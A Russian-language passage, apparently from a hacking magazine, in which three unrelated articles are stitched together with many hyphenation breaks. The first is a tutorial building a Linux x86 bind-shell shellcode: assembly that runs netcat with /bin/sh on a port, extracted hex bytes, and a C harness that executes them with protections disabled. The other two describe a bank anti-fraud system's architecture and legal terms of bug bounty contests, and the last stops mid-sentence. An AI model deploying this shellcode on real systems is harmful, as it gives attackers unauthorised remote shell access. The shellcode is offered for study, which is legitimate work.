$ nasm ‐f elf32 super_small_bind_shell_1.nasm

а затем слин куем наш код:

$ ld ‐m elf_i386 super_small_bind_shell_1.o ‐o super_small_bin
d_shell_1

и  запус тим  получив шуюся  прог рамму  через  трас сиров щик  (strace),  что бы
пос мотреть, что она дела ет:

$ strace ./super_small_bind_shell_1

За пуск bind shell через трас сиров щик

Как  видишь,  никакой  магии.  Через  сис темный  вызов    запус кает ся
, который начина ет слу шать на пор те 12345, откры вая уда лен ный шелл

на  машине.  В  нашем  слу чае  мы  исполь зовали  сис темный  вызов 
для запус ка бинар ного фай ла   с нуж ными парамет рами (

).

execve()
netcat

execve()
/bin/nc ‐le/bin/sh

‐vp12345
 име ет сле дующий про тотип:execve()

int execve(const char *filename, char *const argv[], char *const envp
[]);

  обыч но  ука зыва ет  путь  к  исполня емо му  бинар ному фай лу — 
;

• filename /

bin/nc
 слу жит ука зате лем на мас сив с аргу мен тами, вклю чая имя исполня ‐

емо го фай ла, —  ;
• argv[]

["/bin//nc", "-le//bin//sh", "-vp12345"]
  ука зыва ет  на  мас сив,  опи сыва ющий  окру жение.  В  нашем  слу чае

это NULL, так как мы не исполь зуем его.
• envp[]

Син таксис нашего сис темно го вызова (фун кции) выг лядит сле дующим обра ‐
зом:

execve("/bin//nc", ["/bin//nc", "‐le//bin//sh", "‐vp12345"], NULL)

ОПИСЫВАЕМ СИСТЕМНЫЕ ВЫЗОВЫ ЧЕРЕЗ АССЕМБЛЕР
Как было ска зано в начале статьи, для ука зания сис темно го вызова исполь ‐
зует ся  соот ветс тву ющий  номер  (номера  сис темных  вызовов  для  x86 мож но
пос мотреть  здесь:  ),
который необ ходимо помес тить в регистр EAX (в нашем слу чае в регистр EAX,
а точ нее в его млад шую часть AL было занесе но зна чение 11, что соот ветс ‐
тву ет сис темно му вызову  ).

/usr/include/x86_64‐linux‐gnu/asm/unistd_32.h

execve()
Ар гумен ты фун кции дол жны быть помеще ны в регис тры EBX, ECX, EDX:

 — дол жен содер жать адрес стро ки с filename —  ;• EBX /bin//nc

  —  дол жен  содер жать  адрес  стро ки  с    — 
;

• ECX argv[] "/bin//nc" "-

le//bin//sh" "-vp12345"
 — дол жен содер жать null‐байт для  .• EDX envp[]

Ре гис тры  ESI  и  EDI  мы  исполь зовали  как  вре мен ное  хра нили ще  для  сох ‐
ранения  аргу мен тов    в  нуж ной  пос ледова тель нос ти  в  стек,  что бы
в    (см. код выше) перенес ти в регистр ECX ука затель (ука затель ука ‐
зате ля, если быть более точ ным) на мас сив  .

execve()
бло ке 5

argv[]

НЫРЯЕМ В КОД
Раз берем код по бло кам.

  говорит  сам  за  себя  и  пред назна чен  для  опре деле ния  сек ции,
содер жащей исполня емый код и ука зание лин керу точ ки вхо да в прог рамму.

Бëîê  1

section .text
global _start
_start:

Бëîê 2

xor edx, edx

Об нуля ем  регистр  EDX,  зна чение  которо го  (NULL)  будет  исполь зовать ся
для  ,  а  так же  как  сим вол  кон ца  стро ки  для  вно симых  в  стек  строк.
Обну ляем  регистр  через  XOR,  так  как  инс трук ция    при вела  бы
к появ лению null‐бай тов в shell‐коде, что недопус тимо.

envp[]
mov  edx,  0

push edx        ; Отправляем в стек символ конца строки
push 0x35343332 ; Отправляем в стек строку ‐vp12345
push 0x3170762d
mov esi, esp    ; Отправляем в ESI адрес ‐vp12345 строки в стеке

Ар гумен ты для   мы отправ ляем в стек, пред варитель но перевер нув
их спра ва налево, так как стек рас тет от стар ших адре сов к млад шим, а дан ‐
ные из него извле кают ся наобо рот — от млад ших адре сов к стар шим.

execve()

Для  того  что бы  перевер нуть  стро ку  и  перевес ти  ее  в  hex,  мож но  вос поль ‐
зовать ся сле дующей Linux‐коман дой:

$ echo ‐n '‐vp12345' | rev | od ‐A n ‐t x1 |sed 's/ /x/g
x35x34x33x32x31x70x76x2d`

Бëîê 3

push edx        ; Отправляем в стек символ конца строки
push 0x68732f2f ; Отправляем в стек строку ‐le//bin//sh
push 0x6e69622f
push 0x2f656c2d
mov edi, esp    ; Отправляем в EDI адрес строки ‐le//bin//sh в стеке

Ты, навер ное, заметил стран новатый путь к бинар нику с двой ными сле шами.
Это  дела ется  спе циаль но,  что бы  чис ло  вно симых  бай тов  было  крат ным
четырем, что поз волит не исполь зовать нулевой байт  (Linux игно риру ет сле ‐
ши, так что   и   — это одно и то же)./bin/nc /bin//nc

Бëîê 4

push edx        ; Отправляем в стек символ конца строки
push 0x636e2f2f ; Отправляем в стек строку /bin//nc (filename)
push 0x6e69622f
mov ebx, esp    ; Отправляем в EBX адрес строки /bin//nc в стеке

Бëîê 5

push edx     ; Отправляем в стек символ конца строки
push esi     ; Отправляем в стек адрес со строкой ‐vp12345
push edi     ; Отправляем в стек адрес со строкой ‐le//bin//sh
push ebx     ; Отправляем в стек адрес со строкой /bin//nc
mov ecx, esp ; Отправляем в ECX адрес в стеке, ссылающийся на адрес 
argv[] (указатель на указатель)
xor eax, eax ; Обнуляем EAX
mov al,11    ; Отправляем код 11 для системного вызова execve() в 
младший байт

По чему в AL, а не в EAX? Регистр EAX име ет раз рядность 32 бита. К его млад ‐
шим 16 битам мож но обра тить ся через регистр AX. AX, в свою оче редь, мож ‐
но раз делить на две час ти: млад ший байт (AL) и стар ший байт (AH). Отправ ‐
ляя зна чение в AL, мы избе гаем появ ления нулевых бай тов, которые бы авто ‐
мати чес ки появи лись при добав лении 11 в EAX.

ИЗВЛЕКАЕМ SHELL-КОД
Что бы  наконец  получить  завет ный  shell‐код  из  фай ла,  вос поль зуем ся  сле ‐
дующей коман дой Linux:

$ objdump ‐d ./super_small_bind_shell_1|grep '[0‐9a‐f]:'|grep ‐v 
'file'|cut ‐f2 ‐d:|cut ‐f1‐6 ‐d' '|tr ‐s ' '|tr 't' ' '|sed 's/ $//
g'|sed 's/ /x/g'|paste ‐d '' ‐s |sed 's/^/"/'|sed 's/$/"/g'

и получа ем на выходе вот такой вот сим патич ный shell‐код:

x31xd2x52x68x32x33x34x35x68x2dx76x70x31x89xe6x52x68x2fx2fx73x68
x68x2fx62x69x6ex68x2dx6cx65x2fx89xe7x52x68x2fx2fx6ex63x68x2fx62
x69x6ex89xe3x52x56x57x53x89xe1x31xc0xb0x0bxcdx80

ТЕСТИРУЕМ
Для тес та будем исполь зовать сле дующую прог рамму на С:

#include<stdio.h>
#include<string.h>
unsigned char shellcode[] =
"x31xd2x52x68x32x33x34x35x68x2dx76x70x31x89xe6x52x68x2fx2fx73x68"
"x68x2fx62x69x6ex68x2dx6cx65x2fx89xe7x52x68x2fx2fx6ex63x68x2fx62"
"x69x6ex89xe3x52x56x57x53x89xe1x31xc0xb0x0bxcdx80";
main()
{
    printf("Shellcode Length: %dn",strlen(shellcode));
    int (*ret)() = (int(*)())shellcode;
    ret();
}

Ком пилиру ем.   Если у тебя x86_64 сис тема, то может понадо бить ся уста ‐
нов ка  :

NB!

g++‐multilib

# apt‐get install g++‐multilib
$ gcc ‐m32 ‐fno‐stack‐protector ‐z execstack checker.c ‐o checker

За пус каем:

$ ./checker

Про веря ем bind shell

Хех, видим, что наш shell‐код работа ет: его раз мер — 58 байт,   откры ‐
вает шелл на пор те 12345.

netcat

ОПТИМИЗИРУЕМ РАЗМЕР
58 байт — это доволь но неп лохо, но если пос мотреть в shellcode‐раз дел ex‐
ploit‐db.com,  то  мож но  най ти  и  помень ше,  нап ример    раз мером
в 56 байт.

вот  этот

МОЖНО ЛИ СДЕЛАТЬ НАШ КОД СУЩЕСТВЕННО КОМПАКТНЕЕ?
Мож но. Убрав блок, опи сыва ющий номер пор та. При таком рас кла де 
все рав но будет исправ но слу шать сеть и даст нам шелл. Прав да, номер пор ‐
та  нам  теперь  при дет ся  най ти  с  помощью  .  Наш  новый  код  будет  выг ‐
лядеть сле дующим обра зом:

netcat

nmap

section .text
global _start
 _start:
  xor edx, edx
  push edx
  push 0x68732f2f ; ‐le//bin//sh
  push 0x6e69622f
  push 0x2f656c2d
  mov edi, esp
  push edx
  push 0x636e2f2f ; /bin//nc
  push 0x6e69622f
  mov ebx, esp
  push edx
  push edi
  push ebx
  mov ecx, esp
  xor eax, eax
  mov al,11
  int 0x80

Ком пилиру ем:

$ nasm ‐f elf32 super_small_bind_shell_2.nasm

Лин куем:

$ ld ‐m elf_i386 super_small_bind_shell_2.o ‐o super_small_bin
d_shell_2

Из вле каем shell‐код:

$ objdump ‐d ./super_small_bind_shell_2|grep '[0‐9a‐f]:'|grep ‐v 
'file'|cut ‐f2 ‐d:|cut ‐f1‐6 ‐d' '|tr ‐s ' '|tr 't' ' '|sed 's/ $//
g'|sed 's/ /x/g'|paste ‐d '' ‐s |sed 's/^/"/'|sed 's/$/"/g'
x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex68x2dx6cx65x2fx89xe7x52
x68x2fx2fx6ex63x68x2fx62x69x6ex89xe3x52x57x53x89xe1x31xc0xb0x0b
xcdx80

Про веря ем:

#include<stdio.h>
#include<string.h>
unsigned char shellcode[] =
"x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex68x2dx6cx65x2fx89xe7x52"
"x68x2fx2fx6ex63x68x2fx62x69x6ex89xe3x52x57x53x89xe1x31xc0xb0x0b"
"xcdx80";
main()
{
    printf("Shellcode Length: %dn",strlen(shellcode));
    int (*ret)() = (int(*)())shellcode;
    ret();
}

$ gcc ‐m32 ‐fno‐stack‐protector ‐z execstack checker2.c ‐o checker2
$ ./checker2
Shellcode Length: 44

А  теперь  поп робу ем  под клю чить ся  и  получить  уда лен ный  шелл‐дос туп.
С  помощью  Nmap  узна ем,  на  каком  пор те  висит  наш  шелл,  пос ле  чего
успешно под клю чаем ся к нему все тем же  :netcat

И сно ва про веря ем bind shell

Bingo! Цель дос тигну та: мы написа ли один из самых ком пак тных 
. Как видишь, ничего слож ного ;).

Linux x86 bind
shellcode

Shellcoding in Linux
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ВЗЛОМ

Сис темы  антифро да,  исполь зуемые  в  бан ков ской  сфе ре
и  сто ящие  на  стра же  инте ресов  кре дит ных  учрежде ний
и  денег  их  кли ентов,  прив лека ют  совер шенно  здо ровый
инте рес  как  спе циалис тов  по  информа цион ной  безопас ‐
ности,  так  и  блек хетов.  Но  вот  незада ча:  все  эти  сис темы
дей ству ют по прин ципу black box, а соз датели не торопят ся
рас кры вать прин ципы их работы. Как всег да в таких слу чаях,
жур нал «Хакер» спе шит на помощь!

Фрод ста новит ся  воз можен из‐за недос таточ ной  защищен ности  тех нологий
и  око неч ных  устрой ств  поль зовате лей,  фишин га,  соци аль ной  инже нерии
и  подоб ного.  Сис темы  антифро да  по  атри бутам  и  приз накам  тран закций
пыта ются выявить фрод (мошен ничес кие тран закции). Таких сис тем на рын ке,
в том чис ле и рын ке Рос сии, дос таточ но мно го. Это, нап ример, 

  и  мно гие  дру гие.  При чем  хорошие  решения  —
дорогие  решения.  Вен доры  получа ют  за  свои  про дук ты  огромные  день ги,
и совер шенно понят но их нежела ние рас кры вать алго рит мы работы сис тем.
Самые прод винутые решения исполь зуют алго рит мы машин ного обу чения.

NICE Actim-

ize, Eye 4Fraud, SecureBuy Phoenix FM, RSA Adaptive Authentication,  IRIS

Analytics  (IBM),  Fraudwall

В цик ле ста тей мы с  тобой рас смот рим прин ципы работы одной широко
извес тной в узких кру гах сис темы антифро да, при меня ющей ся во мно гих бан ‐
ках. Поз накомим ся с архи тек турой сис темы при мени тель но к интернет‐бан ку,
механиз мами  обра бот ки  тран закций,  а  так же  алго рит мами  оцен ки  рис ков
и при нятия решений по опре деле нию фро да. В кон це цик ла поп робу ем оце ‐
нить,  какие  проб лемы  воз ника ют  при  работе  с  этой  сис темой,  и  выявить
общие сла бые мес та сис тем антифро да в целом.

Сот рудни ки  МВД  Рос сии  и  ФСБ  Рос сии  задер ‐
жали интернет‐хакеров

АРХИТЕКТУРА СИСТЕМЫ АНТИФРОДА
В общем виде архи тек тура сис темы дис танци онно го бан ков ско го обслу жива ‐
ния (ДБО) выг лядит сле дующим обра зом.

Ар хитек тура ДБО

Обыч но  банк  пре дос тавля ет  поль зовате лю  нес коль ко  каналов  управле ния
бан ков ским  сче том  уда лен но.  Наибо лее  рас простра нен  дос туп  через  бра ‐
узер или с исполь зовани ем мобиль ных при ложе ний. Поль зователь выпол няет
дей ствие  в  сво ем  бра узе ре  или  мобиль ном  при ложе нии,  тран закция  пос ‐
тавля ется на Frontend‐сер вер, который уже отправ ляет ее на Backend‐сер вер
ДБО  и  далее  в  АБС  (авто мати зиро ван ная  бан ков ская  сис тема  /  рас четная
сис тема)  бан ка  для  про веде ния  рас четов.  Один  из  воз можных  вари антов
встра ива ния  сис темы  антифро да  в  такую  архи тек туру  сис тем  ДБО  показан
ниже.

Сис тема антифро да в архи тек туре ДБО

В дан ном слу чае Backend‐сер вер переда ет в сис тему антифро да тран закцию
и ждет раз решения на отправ ку этой тран закции в АБС. Пос ле того как сис ‐
тема  антифро да  обра бота ет  тран закцию  и  вынесет  решение  о  ее  легитим ‐
ности,  она  переда ет  свое  решение  на  Backend‐сер вер  ДБО,  и  тот  уже
отправ ляет  ее  даль ше  в  АБС  или  отка зыва ет  поль зовате лю  в  зависи мос ти
от при нято го решения.

Встра ивать  сис тему  антифро да мож но  по‐раз ному,  нап ример она может
находить ся в раз рыве меж ду сер верами ДБО и АБС бан ка или это может быть
облачная  сис тема,  услу гами  которой  поль зует ся  банк.  Архи тек тура  выбира ‐
ется в зависи мос ти от раз ных кри тери ев, но общий прин цип таков.

СВЯЗЬ СИСТЕМЫ АНТИФРОДА И АУТЕНТИФИКАЦИИ
ПОЛЬЗОВАТЕЛЯ
В  общем  смыс ле  любая  сис тема  антифро да  ДБО  опре деля ет  воз можность
выпол нения тран закции, которую ини цииро вал поль зователь ДБО. При этом
сис тема  оце нива ет  рис кован ность  дан ной  тран закции  и  в  слу чае  повышен ‐
ного  рис ка  раз личны ми  спо соба ми  пыта ется  допол нитель но  про верить,  что
тран закция  легитим на.  Спо собы  могут  быть  авто мати зиро ван ными  (с  точ ки
зре ния бан ка) или руч ными. Нап ример, мож но отпра вить поль зовате лю СМС
или  push‐уве дом ление,  что бы  он  под твер дил  тран закцию,  поп росить  поль ‐
зовате ля отве тить на кон троль ные воп росы, перез вонить поль зовате лю. Все
эти  дей ствия  приз ваны  еще  раз  при  помощи  допол нитель ных  фак торов
аутен тифици ровать тран закцию (в дан ной статье под аутен тифика цией тран ‐
закции/дей ствия  понима ется  под твержде ние  того,  что  дей ствие  совер шил
аутен тифици рован ный  поль зователь).  Наконец,  пос ле  про хож дения  допол ‐
нитель ной  мно гофак торной  аутен тифика ции  сис тема  антифро да  авто мати ‐
зиро ван но или ана литик вруч ную реша ет, воз можно ли про вес ти тран закцию.

В  резуль тате  сис тему  антифро да  мож но  наз вать  сис темой  мно гофак ‐
торной адап тивной аутен тифика ции. Под адап тивностью понима ется спо соб ‐
ность  сис темы  выс читывать  рис кован ность  тран закций  (в  том  чис ле  и  вход
в сис тему ДБО), на осно вании этой информа ции совер шать допол нитель ную
аутен тифика цию  тран закции  и  затем  при нимать  решение  о  воз можнос ти
выпол нения тран закции.

Вот как выг лядит про цесс успешно го вхо да в сис тему ДБО с допол нитель ‐
ной  аутен тифика цией  поль зовате ля  по  кон троль ным  воп росам,  необ ‐
ходимость которой опре дели ла сис тема антифро да.

Адап тивная аутен тифика ция при вхо де в ДБО

На сле дующем рисун ке пос ле успешно го вхо да поль зователь пыта ется сде ‐
лать денеж ный перевод. Адап тивная сис тема аутен тифика ции пос ле оцен ки
рис ка события пред лага ет аутен тифици ровать пла теж при помощи одно разо ‐
вого пароля, передан ного поль зовате лю в СМС с рек визита ми перево да.

Адап тивная аутен тифика ция денеж ного перево да в ДБО

Со ответс твен но,  сис тему  адап тивной  аутен тифика ции  мож но  исполь зовать
не толь ко для пла теж ных сис тем, таких как ДБО, но и, нап ример, для сис тем
еди ной  аутен тифика ции,  таких  как 

.
Еди ная  сис тема  иден тифика ции  и  аутен ‐

тифика ции

АРХИТЕКТУРА СИСТЕМЫ АНТИФРОДА
Выб ранная  нами  сис тема  антифро да  сос тоит  из  нес коль ких  основных  сер ‐
висов. Пер вый — собс твен но ядро сис темы и сер вис Adaptive Authentication.
У  сер виса  есть  своя  база  дан ных.  Adaptive  Authentication  обра баты вает
переда ваемые  ему  из  интернет‐бан ка  события  (нап ример,  события  вхо да,
пла тежи), оце нива ет риск события, вызыва ет при необ ходимос ти дру гие сер ‐
висы  (нап ример,  допол нитель ной  аутен тифика ции)  и  отправ ляет  обратно
решение.  При  этом  воз можно  мно гоэтап ное  вза имо дей ствие
с интернет‐бан ком для вынесе ния решения.

Ком понен тная архи тек тура рас смат рива емой сис темы антифро да

Вто рой  ком понент,  BackOffice,  с  исполь зовани ем  нес коль ких  веб‐при ложе ‐
ний управля ет нас трой ками Adaptive Authentication. У BackOffice собс твен ная
база дан ных.

Тре тий ком понент, Case Management, отве чает за работу фрод‐ана лити ка,
в  нем обра баты вают ся  слу чаи,  которые выпада ют на руч ной  кон троль. При ‐
нима емое фрод‐ана лити ком решение переда ется обратно в Adaptive Authen‐
tication.  Если  необ ходима  допол нитель ная  аутен тифика ция  поль зовате ля,
в ход идут встро енные или внеш ние средс тва аутен тифика ции.

Не дав но в сис теме появил ся новый сер вис — Trojan Protection. Он получа ‐
ет  информа цию  об  устрой стве  поль зовате ля  нап рямую  от  бра узе ра  поль ‐
зовате ля,  а  не  через  интернет‐банк.  Сер вис  ана лизи рует  получен ную
информа цию  и,  обна ружив  ано малии,  запол няет  свой  чер ный  спи сок

. Затем этот спи сок исполь зует Adaptive Authentication при вынесе ‐
нии решения о легитим ности события. Заметим,  что получа емые Trojan Pro‐
tection дан ные от бра узе ра поль зовате ля не син хро низи руют ся с событи ями
в интернет‐бан ке, а переда ются гораз до чаще. В дру гих час тях мы еще кос ‐
немся работы это го сер виса более под робно.

устройств

Ин терес ный  ана лиз  утеч ки  матери алов  ЦРУ,
опуб ликован ных  про ектом  Wikileaks:  ЦРУ  вез де
и всю ду

Ри сунок  ниже  показы вает  вза имо дей ствие  ком понен тов  сис темы  на  уров не
веб‐сер висов. Все события от интернет‐бан ка при ходят на endpoint’ы Adapt‐
ive  Authentication  (AA  Endpoint  и  Async  AA  Endpoint),  которые  обра баты вают
син хрон ные и асин хрон ные вызовы соот ветс твен но. Endpoint ком понен та Ad‐
aptive  Authentication  Admin  (AdminService  Endpoint)  исполь зует ся
интернет‐бан ком или дру гим внеш ним сер висом для управле ния поль зовате ‐
лями и сес сиями. Такое управле ние про екти рует ся в сис теме нечас то. В ком ‐
понен те  Case  Management  содер жится  Case  Management  Endpoint
для  управле ния  кей сами фрод‐ана лити ком и дру гих  сис тем,  нап ример CRM
орга низа ции.

Веб‐сер висы RSA Adaptive Authentication

КАК РАБОТАЕТ СИСТЕМА АНТИФРОДА
Те перь перей дем к внут ренне му устрой ству сис темы антифро да и ее отдель ‐
ным про цес сам. Нач нем с обра бот ки события.

Об работ ка события в сис теме антифро да

Ин форма ция  о  событии,  как мы  видели  выше,  пос тупа ет  из  интернет‐бан ка
в ком понент Adaptive Authentication. Далее этот ком понент про изво дит обра ‐
бот ку события. На вер хнем уров не она сос тоит из пред варитель ной обра бот ‐
ки (запол нение внут ренних струк тур, поиск поль зовате ля и устрой ства в базе
дан ных, получе ние исто рии поль зовате ля и устрой ства, рас четы по получен ‐
ным дан ным, нап ример ско рость перед вижения поль зовате ля), оцен ки рис ка
(ско ринг,  нор мализа ция  по  получен ным  на  пер вом  эта пе  фак там)  и  опре ‐
деле ния на осно вании пра вил, задава емых фрод‐ана лити ком, зна чения рис ка
и ответно го дей ствия сис темы антифро да.

В  антифрод‐сис теме  сущес тву ет  четыре  отве та  (рекомен дован ных  дей ‐
ствия):  ALLOW  (раз решить  дей ствие),  DENY  (зап ретить  дей ствие),  CHAL‐
LENGE  (про извести допол нитель ную аутен тифика цию) и REVIEW  (раз решить
дей ствие, но при этом соз дать кейс в ком понен те Case Management для пос ‐
леду ющей мар киров ки).

По  отве там  ALLOW  и DENY  никако го  допол нитель ного  про цес са  не  пре ‐
дус матри вает ся.

На ибо лее безопас но исполь зовать интернет‐банк
через  мобиль ное  при ложе ние  на  плат форме
Apple iOS.

По отве ту CHALLENGE запус кает ся допол нитель ная аутен тифика ция дей ствия
поль зовате ля. Методы такой допол нитель ной аутен тифика ции опи саны ниже.
Пос ле  того  как  поль зователь ее  прой дет,  в  зависи мос ти от  резуль тата  сис ‐
тема антифро да раз реша ет или зап реща ет дан ное событие.

По  отве ту  REVIEW  так же  пре дус матри вает ся  допол нитель ный  про цесс.
Но он свя зан с пос тобра бот кой. При REVIEW событие раз реша ется, но откла ‐
дыва ется  (соз дает ся  кейс)  в  Case  Management  для  даль нейшей  обра бот ки
вруч ную  фрод‐ана лити ком.  Фрод‐ана литик  может  про мар кировать  событие
как  «точ но фрод»,  «воз можно, фрод»,  «точ но  легаль но»,  «воз можно,  легаль ‐
но» и «зат рудня юсь клас сифици ровать». Дан ное решение затем переда ется
в Adaptive Authentication и учи тыва ется сис темой в модели для ско рин га сле ‐
дующих событий. Иног да про цесс по отве ту REVIEW нас тра ивают таким обра ‐
зом,  что событие не будет раз решать ся,  а  интернет‐банк будет ждать,  пока
фрод‐ана литик  не  вынесет  сво его  решения  (по  сути,  это  некото рое  перек ‐
рытие фун кци ональ нос ти  отве та  CHALLENGE,  где  методом  допол нитель ной
аутен тифика ции явля ется решение фрод‐ана лити ка).

Де тали зиро ван ный про цесс обра бот ки события в сис теме антифро да

Поп робу ем нем ного пояс нить:
(1,  2)  Поль зователь  в  интернет‐бан ке  ини циирует  событие  (нап ример,
запол няет и отправ ляет пла теж ное поруче ние).

•

(3) Кли ент ская часть (если это бра узер, то при помощи JavaScript) собира ‐
ет  некото рые  дан ные  об  устрой стве  поль зовате ля,  его  прог рам мном
обес печении, бра узе ре, скрип тах и про чем и (4) вмес те с дан ными по пла ‐
теж ному поруче нию отправ ляет в банк.

•

(5) Все эти дан ные перево дят ся сер верной частью интернет‐бан ка в стан ‐
дар тную струк туру для Adaptive Authentication и отправ ляют ся в него.

•

(6) Adaptive Authentication про изво дит поиск поль зовате ля интернет‐бан ка.
Если такой поль зователь отсутс тву ет, то (6a) заводит его у себя.

•

(7b, 7c) При этом Adaptive Authentication может зап росить допол нитель ные
дан ные  о  поль зовате ле  (у  сис темы  интернет‐бан ка  или  у  самого  поль ‐
зовате ля).

•

(7d,  7e)  Поль зователь  запол няет  фор му  (нап ример,  адрес,  мобиль ный
телефон) и переда ет дан ные о себе в Adaptive Authentication.

•

(7f) Adaptive Authentication обновля ет информа цию о поль зовате ле в сво ей
базе дан ных.

•

Пра виль ные  сис темы  аутен тифика ции  отправ ‐
ляют  поль зовате лям  СМС  с  одно разо вым
паролем,  находя щим ся  в  кон це  сооб щения.
Это  дела ется  для  того,  что бы  нель зя  было  про ‐
честь пароль в уве дом лени ях на смар тфо не, пер ‐
вые  сим волы  которых  обыч но  отоб ража ются
в  цен тре  уве дом лений  без  необ ходимос ти  раз ‐
бло киров ки устрой ства.

(8)  Далее  Adaptive  Authentication  обра баты вает  событие:  рас счи тыва ет
риск  и  обра баты вает  по  пра вилам  полити ки.  В  резуль тате  чего  он  фор ‐
миру ет  рекомен дован ное  дей ствие  (см.  выше)  —  ALLOW,  DENY,  CHAL‐
LENGE или REVIEW.

•

(9)  Рекомен дован ное  дей ствие  переда ется  в  интернет‐банк.  В  слу чае
CHALLENGE переда ются еще и дос тупные методы допол нитель ной аутен ‐
тифика ции.

•

(10a) Если в сис тему интернет‐бан ка было воз вра щено рекомен дован ное
дей ствие CHALLENGE, то интернет‐банк (если сог ласен с рекомен дован ‐
ным  дей стви ем)  зап рашива ет  Adaptive  Authentication  про извести  аутен ‐
тифика цию  и  переда ет  выб ранный  им  метод  допол нитель ной  аутен ‐
тифика ции.

•

(10b)  Adaptive  Authentication  сам  зап рашива ет  поль зовате ля  про вес ти
допол нитель ную аутен тифика цию или исполь зует для этой цели внеш ний
сер вис, в том чис ле это может быть собс твен но интернет‐банк.

•

(10c, 10d) Сер вис про водит аутен тифика цию и (10e) воз вра щает резуль тат
в Adaptive Authentication.

•

(10f) Adaptive Authentication переда ет в интернет‐банк ста тус допол нитель ‐
ной аутен тифика ции поль зовате ля.

•

(11) Пос ле получе ния рекомен дован ного дей ствия и, при необ ходимос ти,
ста туса  допол нитель ной  аутен тифика ции  интернет‐банк  про водит  опе ‐
рацию поль зовате ля или зап реща ет ее в  зависи мос ти от  того,  что сооб ‐
щила сис тема антифро да.

•

(12a)  В  слу чае  рекомен дован ного  дей ствия  REVIEW  сис тема  антифро да
соз дает так же кейс в ком понен те Case Management.

•

(12b)  Дан ный  кейс  обра баты вает ся  вруч ную  фрод‐ана лити ком,  который
при нима ет решение и мар киру ет событие.

•

(12c) Решение фрод‐ана лити ка переда ется из ком понен та Case Manage‐
ment  сис темы  антифро да  в  Adaptive  Authentication  для  уче та  в  модели
и обра бот ке сле дующих тран закций.

•

ЗАКЛЮЧЕНИЕ
Се год ня  мы  озна коми лись  с  архи тек турой  и  прин ципами  работы  сис темы
антифро да  и  на  этом  пока  оста новим ся. В  сле дующей  час ти  цик ла  про дол ‐
жим  архи тек турное  опи сание  сис темы,  а  так же  про цес сов  при  раз решении
и  зап рете  тран закции,  рас смот рении  и  допол нитель ной  аутен тифика ции,
обоз начим методы допол нитель ной аутен тифика ции дей ствий поль зовате ля,
пред лага емые сис темой антифро да.
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ЧТО НУЖНО
ЗНАТЬ ХАКЕРУ
ДЛЯ УЧАСТИЯ В
КОНКУРСНЫХ
BUG BOUNTY

Денис Доротенко
Юрист Яндекса

ВЗЛОМ

Се год ня  мы  про дол жим  обсужде ние  прог рамм Bug Bounty:
на что сле дует обра щать вни мание в их усло виях и что мож ‐
но  поп робовать  сде лать,  что бы  они  ста ли  выгод нее. 

  был  пос вящен  общей  информа ции
про  Bug  Bounty  и  изу чению  нюан сов  рос сий ско го  законо ‐
датель ства,  которые  отно сят ся  к  BB  по  модели  офер ты.
В  этот  раз  мы  рас смот рим  воп росы,  свя зан ные  с  кон кур ‐
сным вари антом Bug Bounty.

Пре ‐
дыду щий  матери ал

ЧТО ПРЕДСТАВЛЯЕТ СОБОЙ BUG BOUNTY КАК КОНКУРС?
Вна чале, как всег да, раз берем ся с тер миноло гией. Что такое кон курс с точ ки
зре ния дей ству юще го законо датель ства? Смот рим статью 1057 Граж дан ско ‐
го кодек са РФ:

Ли цо,  объ явив шее  пуб лично  о  вып лате  денеж ного  воз награж дения
или выдаче иной наг рады (о вып лате наг рады) за луч шее выпол нение работы
или  дос тижение  иных  резуль татов  (пуб личный  кон курс),  дол жно  вып латить
(выдать) обус ловлен ную наг раду  тому,  кто  в  соот ветс твии с  усло виями про ‐
веде ния кон курса приз нан его победи телем.

То  есть  кон курс  —  это  модель,  по  которой  любое  жела ющее  того  лицо
(назовем  его  орга низа тором  кон курса)  впра ве  пуб лично  пообе щать  выдать
наг раду  тому  учас тни ку,  кто  луч ше  дру гих  выпол нит  опре делен ную  работу
(кон кур сное  задание)  или  дос тигнет  опре делен ных  резуль татов.  Орга низа ‐
тором  кон курса  может  быть  любое  деес пособ ное  лицо  —  физичес кое
или юри дичес кое. Одна ко пра вила кон курса могут задавать допол нитель ные
тре бова ния  к  учас тни кам.  Смот ри  при мер 
по модели кон курса:

Bug  Bounty  ком пании  Badoo

Учас тво вать в кон курсе могут все жела ющие, кро ме сот рудни ков Badoo.

И еще при мер — BB «Газин фор мсер виса» ( ):PDF

Учас тни ками кон курса могут быть толь ко физичес кие лица, граж дане Рос сий ‐
ской Федера ции.

Вот  и  все  усло вия  допус ка  жела ющих  к  учас тию  в  кон курсе.  Иног да  в  них
пишут не про граж дан, а про резиден тов. При мер из 

:
ус ловий Bug Bounty ком ‐

пании PayQR

Учас тво вать могут физ лица, явля ющиеся резиден тами РФ.

Ре зидент  РФ —  пожалуй ста,  можешь  учас тво вать.  Не  резидент —  наг рада
тебя не ждет. Прав да, для пол ной ясности хорошо бы разоб рать ся, кого орга ‐
низа торы  кон курса  понима ют  под  резиден тами  РФ.  Речь  может  идти  как  о
граж данах РФ,  так  и о  налого вых резиден тах. В  час ти 2  статьи 207 Налого ‐
вого кодек са РФ (НК РФ) есть пояс нение, кто счи тает ся налого вым резиден ‐
том:

На лого выми резиден тами приз нают ся физичес кие лица, фак тичес ки находя ‐
щиеся  в  Рос сий ской  Федера ции  не  менее  183  кален дарных  дней
в  течение 12 сле дующих под ряд месяцев. Пери од нахож дения физичес кого
лица  в  Рос сий ской  Федера ции  не  пре рыва ется  на  пери оды  его  выез да
за  пре делы  тер ритории Рос сий ской Федера ции  для  крат косроч ного  (менее
шес ти  месяцев)  лечения  или  обу чения,  а  так же  для  исполне ния  тру довых
или  иных  обя зан ностей,  свя зан ных  с  выпол нени ем  работ  (ока зани ем  услуг)
на мор ских мес торож дени ях угле водо род ного сырья.

По луча ется,  что  налого вый  резидент —  это  граж данин  любого  государс тва
(рав но как и лицо без какого‐либо граж данс тва вооб ще), который находит ся
на тер ритории Рос сии не менее полуго да за пос ледний год. Более под робно
про это мож но почитать  . Юри дичес кие лица так же могут быть налого ‐
выми резиден тами РФ, под робнее про это см. там же и в статье 246.2 НК РФ.

здесь

Вер немся  от  налогов  к  кон курсу.  Кон курс  может  быть  как  откры тым
для учас тни ков, так и зак рытым (пункт 3 статьи 1057 ГК РФ):

Пуб личный кон курс может быть откры тым,  ког да пред ложение орга низа тора
кон курса при нять в нем учас тие обра щено ко всем жела ющим путем объ явле ‐
ния в печати или иных средс твах мас совой информа ции, либо зак рытым, ког ‐
да  пред ложение  при нять  учас тие  в  кон курсе  нап равля ется  опре делен ному
